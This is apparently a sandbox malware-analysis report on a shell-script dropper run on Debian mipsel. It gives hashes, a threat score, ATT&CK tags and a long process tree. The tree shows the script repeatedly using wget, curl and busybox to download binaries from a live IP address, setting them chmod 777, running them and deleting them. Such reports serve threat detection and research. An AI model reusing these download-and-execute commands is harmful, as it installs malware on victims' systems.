3e47b25efc485e784daf709b443b85050e8e7b1662e67dd29eacb61f875ea3b5

Analysis

max time kernel
142s
max time network
146s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
30/10/2024, 02:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
3e47b25efc485e784daf709b443b85050e8e7b1662e67dd29eacb61f875ea3b5.sh
Size 10KB
Sample241030-csf7natjbt
SHA256 3e47b25efc485e784daf709b443b85050e8e7b1662e67dd29eacb61f875ea3b5
MD5 42a91996d3906977b0689100fe60c6ce
SHA1 d3a4064e1656b10a16defcf2ae834ff9663c0ed8
SHA512 584adbfd499013ba10ac22aeade58ecc01481ca87759c46aba787436265956fe2e087a8f4539b456c27b15a2e6e77d7c1230806aae40e42cb923dc06b5550712
SSDEEP 192:O1B+28cRI8WP3U5Fx2Fxcr6P3U5FWo48cRI8S1BA:D28cRI832ncrV48cRI8F
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
877	chmod
925	chmod
949	chmod
883	chmod
901	chmod
745	chmod
961	chmod
739	chmod
793	chmod
811	chmod
907	chmod
955	chmod
871	chmod
913	chmod
859	chmod
919	chmod
931	chmod
731	chmod
839	chmod
889	chmod
937	chmod
943	chmod
895	chmod
967	chmod
973	chmod
760	chmod
817	chmod
865	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/n08cL4wJZwztSlD6n66g0z8Gc7OAJFGOm3	curl
File opened for modification	/tmp/EtS1olzEOu1EKn3sTkEZvYMQRMB8vozRWu	curl
File opened for modification	/tmp/iA8Qo3KxBhjDidHTVjOB9ItWJqA5owWG9P	curl
File opened for modification	/tmp/k0ro4JsmRqxJuHy6DI4rRUCsur13sTD6HQ	curl
File opened for modification	/tmp/k0ro4JsmRqxJuHy6DI4rRUCsur13sTD6HQ	curl
File opened for modification	/tmp/ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0	curl
File opened for modification	/tmp/edo5Iem4ky2w4lbptwOgQR3WH8DxGiI3go	curl
File opened for modification	/tmp/rVA2MTXy6mRwRS106g5MDQOhNjEPKheeA3	curl
File opened for modification	/tmp/EtS1olzEOu1EKn3sTkEZvYMQRMB8vozRWu	curl
File opened for modification	/tmp/OljYJjKvAhhV0C76O6H0KcjXoBmEL4YCE3	curl
File opened for modification	/tmp/ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0	curl
File opened for modification	/tmp/RGBxd50mwbqVsXA3ihLiAf4Xuma0F7sD8u	curl
File opened for modification	/tmp/AhOwVUL0qWvBUf8uN4etDd3iHDAKdl7g4Y	curl
File opened for modification	/tmp/OljYJjKvAhhV0C76O6H0KcjXoBmEL4YCE3	curl
File opened for modification	/tmp/17M92h5FNctzxiYLXQA6bIEpYMd6BpiEzg	curl
File opened for modification	/tmp/17M92h5FNctzxiYLXQA6bIEpYMd6BpiEzg	curl
File opened for modification	/tmp/iA8Qo3KxBhjDidHTVjOB9ItWJqA5owWG9P	curl
File opened for modification	/tmp/0g0rbw1cdZpAyDWBxW3EpuZW5wu6CJFGUT	curl
File opened for modification	/tmp/zAy6qyrcJn8ygB91Mtd5JP5B1QX595wDvj	curl
File opened for modification	/tmp/RGBxd50mwbqVsXA3ihLiAf4Xuma0F7sD8u	curl
File opened for modification	/tmp/0g0rbw1cdZpAyDWBxW3EpuZW5wu6CJFGUT	curl
File opened for modification	/tmp/zAy6qyrcJn8ygB91Mtd5JP5B1QX595wDvj	curl
File opened for modification	/tmp/n08cL4wJZwztSlD6n66g0z8Gc7OAJFGOm3	curl
File opened for modification	/tmp/edo5Iem4ky2w4lbptwOgQR3WH8DxGiI3go	curl
File opened for modification	/tmp/sXtL9ykpS5EGeC75KSm4ISldoBnEMBaegx	curl
File opened for modification	/tmp/rVA2MTXy6mRwRS106g5MDQOhNjEPKheeA3	curl
File opened for modification	/tmp/sXtL9ykpS5EGeC75KSm4ISldoBnEMBaegx	curl
File opened for modification	/tmp/AhOwVUL0qWvBUf8uN4etDd3iHDAKdl7g4Y	curl

/tmp/3e47b25efc485e784daf709b443b85050e8e7b1662e67dd29eacb61f875ea3b5.sh
/tmp/3e47b25efc485e784daf709b443b85050e8e7b1662e67dd29eacb61f875ea3b5.sh
1⤵
PID:702
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:706
- /usr/bin/wget
  wget http://87.120.84.230/bins/ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0
  2⤵
  PID:711
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:721
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0
  2⤵
  PID:727
- /bin/chmod
  chmod 777 ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0
  2⤵
  - File and Directory Permissions Modification
  PID:731
- /tmp/ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0
  ./ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0
  2⤵
  - Executes dropped EXE
  PID:732
- /bin/rm
  rm ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0
  2⤵
  PID:734
- /usr/bin/wget
  wget http://87.120.84.230/bins/AhOwVUL0qWvBUf8uN4etDd3iHDAKdl7g4Y
  2⤵
  PID:735
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/AhOwVUL0qWvBUf8uN4etDd3iHDAKdl7g4Y
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:737
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/AhOwVUL0qWvBUf8uN4etDd3iHDAKdl7g4Y
  2⤵
  PID:738
- /bin/chmod
  chmod 777 AhOwVUL0qWvBUf8uN4etDd3iHDAKdl7g4Y
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/AhOwVUL0qWvBUf8uN4etDd3iHDAKdl7g4Y
  ./AhOwVUL0qWvBUf8uN4etDd3iHDAKdl7g4Y
  2⤵
  - Executes dropped EXE
  PID:740
- /bin/rm
  rm AhOwVUL0qWvBUf8uN4etDd3iHDAKdl7g4Y
  2⤵
  PID:741
- /usr/bin/wget
  wget http://87.120.84.230/bins/RGBxd50mwbqVsXA3ihLiAf4Xuma0F7sD8u
  2⤵
  PID:742
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/RGBxd50mwbqVsXA3ihLiAf4Xuma0F7sD8u
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:743
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/RGBxd50mwbqVsXA3ihLiAf4Xuma0F7sD8u
  2⤵
  PID:744
- /bin/chmod
  chmod 777 RGBxd50mwbqVsXA3ihLiAf4Xuma0F7sD8u
  2⤵
  - File and Directory Permissions Modification
  PID:745
- /tmp/RGBxd50mwbqVsXA3ihLiAf4Xuma0F7sD8u
  ./RGBxd50mwbqVsXA3ihLiAf4Xuma0F7sD8u
  2⤵
  - Executes dropped EXE
  PID:746
- /bin/rm
  rm RGBxd50mwbqVsXA3ihLiAf4Xuma0F7sD8u
  2⤵
  PID:747
- /usr/bin/wget
  wget http://87.120.84.230/bins/0g0rbw1cdZpAyDWBxW3EpuZW5wu6CJFGUT
  2⤵
  PID:748
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/0g0rbw1cdZpAyDWBxW3EpuZW5wu6CJFGUT
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:750
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/0g0rbw1cdZpAyDWBxW3EpuZW5wu6CJFGUT
  2⤵
  PID:757
- /bin/chmod
  chmod 777 0g0rbw1cdZpAyDWBxW3EpuZW5wu6CJFGUT
  2⤵
  - File and Directory Permissions Modification
  PID:760
- /tmp/0g0rbw1cdZpAyDWBxW3EpuZW5wu6CJFGUT
  ./0g0rbw1cdZpAyDWBxW3EpuZW5wu6CJFGUT
  2⤵
  - Executes dropped EXE
  PID:762
- /bin/rm
  rm 0g0rbw1cdZpAyDWBxW3EpuZW5wu6CJFGUT
  2⤵
  PID:767
- /usr/bin/wget
  wget http://87.120.84.230/bins/rVA2MTXy6mRwRS106g5MDQOhNjEPKheeA3
  2⤵
  PID:768
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/rVA2MTXy6mRwRS106g5MDQOhNjEPKheeA3
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:781
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/rVA2MTXy6mRwRS106g5MDQOhNjEPKheeA3
  2⤵
  PID:790
- /bin/chmod
  chmod 777 rVA2MTXy6mRwRS106g5MDQOhNjEPKheeA3
  2⤵
  - File and Directory Permissions Modification
  PID:793
- /tmp/rVA2MTXy6mRwRS106g5MDQOhNjEPKheeA3
  ./rVA2MTXy6mRwRS106g5MDQOhNjEPKheeA3
  2⤵
  - Executes dropped EXE
  PID:795
- /bin/rm
  rm rVA2MTXy6mRwRS106g5MDQOhNjEPKheeA3
  2⤵
  PID:800
- /usr/bin/wget
  wget http://87.120.84.230/bins/EtS1olzEOu1EKn3sTkEZvYMQRMB8vozRWu
  2⤵
  PID:801
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/EtS1olzEOu1EKn3sTkEZvYMQRMB8vozRWu
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:809
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/EtS1olzEOu1EKn3sTkEZvYMQRMB8vozRWu
  2⤵
  PID:810
- /bin/chmod
  chmod 777 EtS1olzEOu1EKn3sTkEZvYMQRMB8vozRWu
  2⤵
  - File and Directory Permissions Modification
  PID:811
- /tmp/EtS1olzEOu1EKn3sTkEZvYMQRMB8vozRWu
  ./EtS1olzEOu1EKn3sTkEZvYMQRMB8vozRWu
  2⤵
  - Executes dropped EXE
  PID:812
- /bin/rm
  rm EtS1olzEOu1EKn3sTkEZvYMQRMB8vozRWu
  2⤵
  PID:813
- /usr/bin/wget
  wget http://87.120.84.230/bins/sXtL9ykpS5EGeC75KSm4ISldoBnEMBaegx
  2⤵
  PID:814
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/sXtL9ykpS5EGeC75KSm4ISldoBnEMBaegx
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:815
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/sXtL9ykpS5EGeC75KSm4ISldoBnEMBaegx
  2⤵
  PID:816
- /bin/chmod
  chmod 777 sXtL9ykpS5EGeC75KSm4ISldoBnEMBaegx
  2⤵
  - File and Directory Permissions Modification
  PID:817
- /tmp/sXtL9ykpS5EGeC75KSm4ISldoBnEMBaegx
  ./sXtL9ykpS5EGeC75KSm4ISldoBnEMBaegx
  2⤵
  - Executes dropped EXE
  PID:818
- /bin/rm
  rm sXtL9ykpS5EGeC75KSm4ISldoBnEMBaegx
  2⤵
  PID:821
- /usr/bin/wget
  wget http://87.120.84.230/bins/zAy6qyrcJn8ygB91Mtd5JP5B1QX595wDvj
  2⤵
  PID:822
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/zAy6qyrcJn8ygB91Mtd5JP5B1QX595wDvj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:827
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/zAy6qyrcJn8ygB91Mtd5JP5B1QX595wDvj
  2⤵
  PID:835
- /bin/chmod
  chmod 777 zAy6qyrcJn8ygB91Mtd5JP5B1QX595wDvj
  2⤵
  - File and Directory Permissions Modification
  PID:839
- /tmp/zAy6qyrcJn8ygB91Mtd5JP5B1QX595wDvj
  ./zAy6qyrcJn8ygB91Mtd5JP5B1QX595wDvj
  2⤵
  - Executes dropped EXE
  PID:840
- /bin/rm
  rm zAy6qyrcJn8ygB91Mtd5JP5B1QX595wDvj
  2⤵
  PID:843
- /usr/bin/wget
  wget http://87.120.84.230/bins/n08cL4wJZwztSlD6n66g0z8Gc7OAJFGOm3
  2⤵
  PID:844
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/n08cL4wJZwztSlD6n66g0z8Gc7OAJFGOm3
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:849
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/n08cL4wJZwztSlD6n66g0z8Gc7OAJFGOm3
  2⤵
  PID:856
- /bin/chmod
  chmod 777 n08cL4wJZwztSlD6n66g0z8Gc7OAJFGOm3
  2⤵
  - File and Directory Permissions Modification
  PID:859
- /tmp/n08cL4wJZwztSlD6n66g0z8Gc7OAJFGOm3
  ./n08cL4wJZwztSlD6n66g0z8Gc7OAJFGOm3
  2⤵
  - Executes dropped EXE
  PID:860
- /bin/rm
  rm n08cL4wJZwztSlD6n66g0z8Gc7OAJFGOm3
  2⤵
  PID:861
- /usr/bin/wget
  wget http://87.120.84.230/bins/edo5Iem4ky2w4lbptwOgQR3WH8DxGiI3go
  2⤵
  PID:862
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/edo5Iem4ky2w4lbptwOgQR3WH8DxGiI3go
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:863
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/edo5Iem4ky2w4lbptwOgQR3WH8DxGiI3go
  2⤵
  PID:864
- /bin/chmod
  chmod 777 edo5Iem4ky2w4lbptwOgQR3WH8DxGiI3go
  2⤵
  - File and Directory Permissions Modification
  PID:865
- /tmp/edo5Iem4ky2w4lbptwOgQR3WH8DxGiI3go
  ./edo5Iem4ky2w4lbptwOgQR3WH8DxGiI3go
  2⤵
  - Executes dropped EXE
  PID:866
- /bin/rm
  rm edo5Iem4ky2w4lbptwOgQR3WH8DxGiI3go
  2⤵
  PID:867
- /usr/bin/wget
  wget http://87.120.84.230/bins/17M92h5FNctzxiYLXQA6bIEpYMd6BpiEzg
  2⤵
  PID:868
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/17M92h5FNctzxiYLXQA6bIEpYMd6BpiEzg
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:869
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/17M92h5FNctzxiYLXQA6bIEpYMd6BpiEzg
  2⤵
  PID:870
- /bin/chmod
  chmod 777 17M92h5FNctzxiYLXQA6bIEpYMd6BpiEzg
  2⤵
  - File and Directory Permissions Modification
  PID:871
- /tmp/17M92h5FNctzxiYLXQA6bIEpYMd6BpiEzg
  ./17M92h5FNctzxiYLXQA6bIEpYMd6BpiEzg
  2⤵
  - Executes dropped EXE
  PID:872
- /bin/rm
  rm 17M92h5FNctzxiYLXQA6bIEpYMd6BpiEzg
  2⤵
  PID:873
- /usr/bin/wget
  wget http://87.120.84.230/bins/OljYJjKvAhhV0C76O6H0KcjXoBmEL4YCE3
  2⤵
  PID:874
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/OljYJjKvAhhV0C76O6H0KcjXoBmEL4YCE3
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:875
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/OljYJjKvAhhV0C76O6H0KcjXoBmEL4YCE3
  2⤵
  PID:876
- /bin/chmod
  chmod 777 OljYJjKvAhhV0C76O6H0KcjXoBmEL4YCE3
  2⤵
  - File and Directory Permissions Modification
  PID:877
- /tmp/OljYJjKvAhhV0C76O6H0KcjXoBmEL4YCE3
  ./OljYJjKvAhhV0C76O6H0KcjXoBmEL4YCE3
  2⤵
  - Executes dropped EXE
  PID:878
- /bin/rm
  rm OljYJjKvAhhV0C76O6H0KcjXoBmEL4YCE3
  2⤵
  PID:879
- /usr/bin/wget
  wget http://87.120.84.230/bins/iA8Qo3KxBhjDidHTVjOB9ItWJqA5owWG9P
  2⤵
  PID:880
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/iA8Qo3KxBhjDidHTVjOB9ItWJqA5owWG9P
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:881
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/iA8Qo3KxBhjDidHTVjOB9ItWJqA5owWG9P
  2⤵
  PID:882
- /bin/chmod
  chmod 777 iA8Qo3KxBhjDidHTVjOB9ItWJqA5owWG9P
  2⤵
  - File and Directory Permissions Modification
  PID:883
- /tmp/iA8Qo3KxBhjDidHTVjOB9ItWJqA5owWG9P
  ./iA8Qo3KxBhjDidHTVjOB9ItWJqA5owWG9P
  2⤵
  - Executes dropped EXE
  PID:884
- /bin/rm
  rm iA8Qo3KxBhjDidHTVjOB9ItWJqA5owWG9P
  2⤵
  PID:885
- /usr/bin/wget
  wget http://87.120.84.230/bins/k0ro4JsmRqxJuHy6DI4rRUCsur13sTD6HQ
  2⤵
  PID:886
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/k0ro4JsmRqxJuHy6DI4rRUCsur13sTD6HQ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:887
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/k0ro4JsmRqxJuHy6DI4rRUCsur13sTD6HQ
  2⤵
  PID:888
- /bin/chmod
  chmod 777 k0ro4JsmRqxJuHy6DI4rRUCsur13sTD6HQ
  2⤵
  - File and Directory Permissions Modification
  PID:889
- /tmp/k0ro4JsmRqxJuHy6DI4rRUCsur13sTD6HQ
  ./k0ro4JsmRqxJuHy6DI4rRUCsur13sTD6HQ
  2⤵
  - Executes dropped EXE
  PID:890
- /bin/rm
  rm k0ro4JsmRqxJuHy6DI4rRUCsur13sTD6HQ
  2⤵
  PID:891
- /usr/bin/wget
  wget http://87.120.84.230/bins/n08cL4wJZwztSlD6n66g0z8Gc7OAJFGOm3
  2⤵
  PID:892
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/n08cL4wJZwztSlD6n66g0z8Gc7OAJFGOm3
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:893
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/n08cL4wJZwztSlD6n66g0z8Gc7OAJFGOm3
  2⤵
  PID:894
- /bin/chmod
  chmod 777 n08cL4wJZwztSlD6n66g0z8Gc7OAJFGOm3
  2⤵
  - File and Directory Permissions Modification
  PID:895
- /tmp/n08cL4wJZwztSlD6n66g0z8Gc7OAJFGOm3
  ./n08cL4wJZwztSlD6n66g0z8Gc7OAJFGOm3
  2⤵
  - Executes dropped EXE
  PID:896
- /bin/rm
  rm n08cL4wJZwztSlD6n66g0z8Gc7OAJFGOm3
  2⤵
  PID:897
- /usr/bin/wget
  wget http://87.120.84.230/bins/edo5Iem4ky2w4lbptwOgQR3WH8DxGiI3go
  2⤵
  PID:898
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/edo5Iem4ky2w4lbptwOgQR3WH8DxGiI3go
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:899
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/edo5Iem4ky2w4lbptwOgQR3WH8DxGiI3go
  2⤵
  PID:900
- /bin/chmod
  chmod 777 edo5Iem4ky2w4lbptwOgQR3WH8DxGiI3go
  2⤵
  - File and Directory Permissions Modification
  PID:901
- /tmp/edo5Iem4ky2w4lbptwOgQR3WH8DxGiI3go
  ./edo5Iem4ky2w4lbptwOgQR3WH8DxGiI3go
  2⤵
  - Executes dropped EXE
  PID:902
- /bin/rm
  rm edo5Iem4ky2w4lbptwOgQR3WH8DxGiI3go
  2⤵
  PID:903
- /usr/bin/wget
  wget http://87.120.84.230/bins/17M92h5FNctzxiYLXQA6bIEpYMd6BpiEzg
  2⤵
  PID:904
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/17M92h5FNctzxiYLXQA6bIEpYMd6BpiEzg
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:905
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/17M92h5FNctzxiYLXQA6bIEpYMd6BpiEzg
  2⤵
  PID:906
- /bin/chmod
  chmod 777 17M92h5FNctzxiYLXQA6bIEpYMd6BpiEzg
  2⤵
  - File and Directory Permissions Modification
  PID:907
- /tmp/17M92h5FNctzxiYLXQA6bIEpYMd6BpiEzg
  ./17M92h5FNctzxiYLXQA6bIEpYMd6BpiEzg
  2⤵
  - Executes dropped EXE
  PID:908
- /bin/rm
  rm 17M92h5FNctzxiYLXQA6bIEpYMd6BpiEzg
  2⤵
  PID:909
- /usr/bin/wget
  wget http://87.120.84.230/bins/OljYJjKvAhhV0C76O6H0KcjXoBmEL4YCE3
  2⤵
  PID:910
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/OljYJjKvAhhV0C76O6H0KcjXoBmEL4YCE3
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:911
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/OljYJjKvAhhV0C76O6H0KcjXoBmEL4YCE3
  2⤵
  PID:912
- /bin/chmod
  chmod 777 OljYJjKvAhhV0C76O6H0KcjXoBmEL4YCE3
  2⤵
  - File and Directory Permissions Modification
  PID:913
- /tmp/OljYJjKvAhhV0C76O6H0KcjXoBmEL4YCE3
  ./OljYJjKvAhhV0C76O6H0KcjXoBmEL4YCE3
  2⤵
  - Executes dropped EXE
  PID:914
- /bin/rm
  rm OljYJjKvAhhV0C76O6H0KcjXoBmEL4YCE3
  2⤵
  PID:915
- /usr/bin/wget
  wget http://87.120.84.230/bins/iA8Qo3KxBhjDidHTVjOB9ItWJqA5owWG9P
  2⤵
  PID:916
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/iA8Qo3KxBhjDidHTVjOB9ItWJqA5owWG9P
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:917
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/iA8Qo3KxBhjDidHTVjOB9ItWJqA5owWG9P
  2⤵
  PID:918
- /bin/chmod
  chmod 777 iA8Qo3KxBhjDidHTVjOB9ItWJqA5owWG9P
  2⤵
  - File and Directory Permissions Modification
  PID:919
- /tmp/iA8Qo3KxBhjDidHTVjOB9ItWJqA5owWG9P
  ./iA8Qo3KxBhjDidHTVjOB9ItWJqA5owWG9P
  2⤵
  - Executes dropped EXE
  PID:920
- /bin/rm
  rm iA8Qo3KxBhjDidHTVjOB9ItWJqA5owWG9P
  2⤵
  PID:921
- /usr/bin/wget
  wget http://87.120.84.230/bins/k0ro4JsmRqxJuHy6DI4rRUCsur13sTD6HQ
  2⤵
  PID:922
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/k0ro4JsmRqxJuHy6DI4rRUCsur13sTD6HQ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:923
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/k0ro4JsmRqxJuHy6DI4rRUCsur13sTD6HQ
  2⤵
  PID:924
- /bin/chmod
  chmod 777 k0ro4JsmRqxJuHy6DI4rRUCsur13sTD6HQ
  2⤵
  - File and Directory Permissions Modification
  PID:925
- /tmp/k0ro4JsmRqxJuHy6DI4rRUCsur13sTD6HQ
  ./k0ro4JsmRqxJuHy6DI4rRUCsur13sTD6HQ
  2⤵
  - Executes dropped EXE
  PID:926
- /bin/rm
  rm k0ro4JsmRqxJuHy6DI4rRUCsur13sTD6HQ
  2⤵
  PID:927
- /usr/bin/wget
  wget http://87.120.84.230/bins/EtS1olzEOu1EKn3sTkEZvYMQRMB8vozRWu
  2⤵
  PID:928
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/EtS1olzEOu1EKn3sTkEZvYMQRMB8vozRWu
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:929
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/EtS1olzEOu1EKn3sTkEZvYMQRMB8vozRWu
  2⤵
  PID:930
- /bin/chmod
  chmod 777 EtS1olzEOu1EKn3sTkEZvYMQRMB8vozRWu
  2⤵
  - File and Directory Permissions Modification
  PID:931
- /tmp/EtS1olzEOu1EKn3sTkEZvYMQRMB8vozRWu
  ./EtS1olzEOu1EKn3sTkEZvYMQRMB8vozRWu
  2⤵
  - Executes dropped EXE
  PID:932
- /bin/rm
  rm EtS1olzEOu1EKn3sTkEZvYMQRMB8vozRWu
  2⤵
  PID:933
- /usr/bin/wget
  wget http://87.120.84.230/bins/ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0
  2⤵
  PID:934
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:935
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0
  2⤵
  PID:936
- /bin/chmod
  chmod 777 ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0
  2⤵
  - File and Directory Permissions Modification
  PID:937
- /tmp/ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0
  ./ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0
  2⤵
  - Executes dropped EXE
  PID:938
- /bin/rm
  rm ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0
  2⤵
  PID:939
- /usr/bin/wget
  wget http://87.120.84.230/bins/AhOwVUL0qWvBUf8uN4etDd3iHDAKdl7g4Y
  2⤵
  PID:940
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/AhOwVUL0qWvBUf8uN4etDd3iHDAKdl7g4Y
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:941
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/AhOwVUL0qWvBUf8uN4etDd3iHDAKdl7g4Y
  2⤵
  PID:942
- /bin/chmod
  chmod 777 AhOwVUL0qWvBUf8uN4etDd3iHDAKdl7g4Y
  2⤵
  - File and Directory Permissions Modification
  PID:943
- /tmp/AhOwVUL0qWvBUf8uN4etDd3iHDAKdl7g4Y
  ./AhOwVUL0qWvBUf8uN4etDd3iHDAKdl7g4Y
  2⤵
  - Executes dropped EXE
  PID:944
- /bin/rm
  rm AhOwVUL0qWvBUf8uN4etDd3iHDAKdl7g4Y
  2⤵
  PID:945
- /usr/bin/wget
  wget http://87.120.84.230/bins/RGBxd50mwbqVsXA3ihLiAf4Xuma0F7sD8u
  2⤵
  PID:946
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/RGBxd50mwbqVsXA3ihLiAf4Xuma0F7sD8u
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:947
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/RGBxd50mwbqVsXA3ihLiAf4Xuma0F7sD8u
  2⤵
  PID:948
- /bin/chmod
  chmod 777 RGBxd50mwbqVsXA3ihLiAf4Xuma0F7sD8u
  2⤵
  - File and Directory Permissions Modification
  PID:949
- /tmp/RGBxd50mwbqVsXA3ihLiAf4Xuma0F7sD8u
  ./RGBxd50mwbqVsXA3ihLiAf4Xuma0F7sD8u
  2⤵
  - Executes dropped EXE
  PID:950
- /bin/rm
  rm RGBxd50mwbqVsXA3ihLiAf4Xuma0F7sD8u
  2⤵
  PID:951
- /usr/bin/wget
  wget http://87.120.84.230/bins/0g0rbw1cdZpAyDWBxW3EpuZW5wu6CJFGUT
  2⤵
  PID:952
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/0g0rbw1cdZpAyDWBxW3EpuZW5wu6CJFGUT
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:953
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/0g0rbw1cdZpAyDWBxW3EpuZW5wu6CJFGUT
  2⤵
  PID:954
